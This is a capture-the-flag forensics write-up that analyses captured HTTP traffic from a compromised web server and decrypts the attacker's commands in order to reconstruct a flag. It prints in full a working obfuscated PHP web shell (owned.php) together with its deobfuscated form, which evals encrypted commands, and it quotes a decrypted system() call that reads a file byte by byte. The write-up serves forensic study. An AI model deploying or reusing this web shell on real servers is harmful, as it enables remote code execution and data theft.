Challenge Description
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?
我们的网络服务器再次遭到入侵,我们不太清楚攻击者的具体意图。幸运的是,我们只使用HTTP协议,并且在攻击期间成功捕获了网络流量!你能看出攻击者的意图吗?Tools Used: Wireshark, Scapy, Python3
1. Initial Traffic Discovery
We start by analyzing the PCAP file to identify interesting HTTP interactions. Using a simple Scapy script, we can filter for 200 OK responses to see what the server was returning.
#!/usr/bin/env python3from scapy.all import *
PCAP_FILE = "web_shell.pcap"
packages = rdpcap(PCAP_FILE)for i, p in enumerate(packages): if p.haslayer(Raw): raw = p[Raw].load if b"200 OK" in raw: try: print(f"[*] Packet {i+1} | Length: {len(raw)}") print(raw.decode()) print("-" * 20) except: continueIn the output, we notice a file upload form and a confirmation that owned.php was uploaded:
[*] Packet 16640HTTP/1.1 200 OK...<body> <form enctype="multipart/form-data" action="uploader.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form></body></html>The file owned.php has been uploadedChecking the preceding packets (around index 16638), we find the content of the uploaded owned.php.
2. Analyzing the Malicious Web Shell
The uploaded file owned.php contains an obfuscated PHP script.
<?php$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';$v=str_replace('[Z','',$O.$q.$C.$V.$Z);$W=$d('',$v);$W();?>By removing the noise (replacing [Z and eq), we can reconstruct the logic. It’s a sophisticated web shell (similar to Behinder or Godzilla) that uses XOR encryption and Zlib compression for C2 traffic.
Deobfuscated Logic
<?php$k = "81aebe18"; // XOR Key$kh = "775d4f83f4e0"; // Header Marker$kf = "0120dd0bccc6"; // Footer Marker$p = "kkqES1eCIzoxyHXb"; // Response Prefix
function x($t, $k) { $c = strlen($k); $l = strlen($t); $o = ""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o .= $t{$i}^$k{$j}; } } return $o;}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) { @ob_start(); // Decrypt: Base64 -> XOR -> Zlib Uncompress -> Eval @eval(@gzuncompress(@x(@base64_decode($m[1]), $k))); $o = @ob_get_contents(); @ob_end_clean(); // Encrypt: Zlib Compress -> XOR -> Base64 $r = @base64_encode(@x(@gzcompress($o), $k)); print("$p$kh$r$kf");}3. Decrypting C2 Traffic
Now that we have the key (81aebe18) and the protocol markers, we can decrypt the subsequent traffic. We notice the attacker is executing commands like ls and xxd to read a file named y_flag_here.txt one byte at a time.
Example of a decrypted request:
chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');
4. Automated Flag Reconstruction
To get the full flag, we need to iterate through all packets, decrypt the requests to find the offset (-s parameter in xxd), and decrypt the responses to find the hex value of the character at that offset.
#!/usr/bin/env python3"""Scapy HTTP/Webshell Traffic Analyzer------------------------------------A specialized utility for extracting and decrypting payloads from PCAP files,targeting traffic typical of PHP webshells (e.g., Behinder, AntSword).Includes logic for XOR decryption, Zlib decompression, and flag assembly."""
import base64import reimport urllib.parseimport zlib
from scapy.all import *
# --- Configuration & Constants ---PCAP_FILE = "~/Downloads/web_shell.pcap"
# Cryptographic Keys (Typical for Behinder/Godzilla style webshells)121 collapsed lines
KEY = b"81aebe18"KH = b"775d4f83f4e0" # Header markerKF = b"0120dd0bccc6" # Footer markerKP = b"kkqES1eCIzoxyHXb" # Response prefix
# Global state for flag extractionflag_data = {} # Maps offset -> charactercurrent_offset = -1
# --- Logic Functions ---
def decrypt_payload(b64_data): """ Decrypts a payload using the sequence: URL Decode -> Base64 -> XOR -> Zlib. """ try: # 1. URL Decode clean_data = urllib.parse.unquote_to_bytes(b64_data)
# 2. Fix Base64 padding if necessary clean_data += b"=" * (-len(clean_data) % 4) decoded = base64.b64decode(clean_data)
# 3. XOR Decryption k_len = len(KEY) xored = bytearray(a ^ KEY[i % k_len] for i, a in enumerate(decoded))
# 4. Zlib Decompression return zlib.decompress(xored).decode("utf-8", errors="ignore") except Exception as e: return f"[!] Decryption Error: {e}"
def extract_flag_fragment(raw_text): """ Parses decrypted output to identify flag fragments extracted via 'xxd'. Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response. """ global current_offset raw_text = raw_text.strip() if not raw_text: return
# Match Request: Extract offset from xxd command if "xxd -p -l1 -s" in raw_text: match = re.search(r"-s(\d+)", raw_text) if match: current_offset = int(match.group(1))
# Match Response: If we have an offset, convert hex response to char elif current_offset != -1 and re.match(r"^[0-9a-fA-F]{2}$", raw_text): try: char = bytes.fromhex(raw_text).decode("utf-8") flag_data[current_offset] = char print( f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'" ) except Exception as e: print(f"[-] Decode error: {e}") finally: current_offset = -1
def process_pcap(packets, regex): """Iterates through packets, searching for encrypted payloads via regex.""" print(f"[*] Analyzing {len(packets)} packets...")
for i, p in enumerate(packets): if p.haslayer(Raw): raw_payload = p[Raw].load match = re.search(regex, raw_payload) if match: decrypted = decrypt_payload(match.group(1)) print(f"[*] Packet {i + 1} matched.") # print(f"Raw: {match.group(1)[:50]}...") # Debug print(f"Decrypted: {decrypted}")
extract_flag_fragment(decrypted) print("-" * 30)
def print_final_flag(): """Sorts fragments by offset and prints the assembled flag.""" if not flag_data: print("\n[-] No flag fragments found in the analyzed packets.") return
sorted_chars = [flag_data[k] for k in sorted(flag_data.keys())] final_flag = "".join(sorted_chars)
print("\n" + "=" * 40) print("\033[93m[*] FINAL ASSEMBLED FLAG:\033[0m") print(f"\033[96m{final_flag}\033[0m") print("=" * 40 + "\n")
# --- Debug Utilities ---
def check_packet_by_content(packets, content): """Heuristic search for specific raw bytes in a PCAP.""" for i, p in enumerate(packets): if p.haslayer(Raw) and content in p[Raw].load: print(f"[*] Content found in Packet {i + 1}") print(p[Raw].load.decode(errors="ignore"))
# --- Main Execution ---
if __name__ == "__main__": try: # Load necessary layers load_layer("tls")
# Load PCAP pkts = rdpcap(PCAP_FILE)
# Regex to capture content between specific webshell markers payload_regex = KH + b"(.+?)" + KF
# Execute analysis process_pcap(pkts, payload_regex) print_final_flag()
except FileNotFoundError: print(f"[-] Error: PCAP file not found at {PCAP_FILE}") except Exception as e: print(f"[-] Fatal error: {e}")Result
Running the script assembles the flag from the fragmented xxd exfiltration.
Flag
247CTF{[flag redacted]}